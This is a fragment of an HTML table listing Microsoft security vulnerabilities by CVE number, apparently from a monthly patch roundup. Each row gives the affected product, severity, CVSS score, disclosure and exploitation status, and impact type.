  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
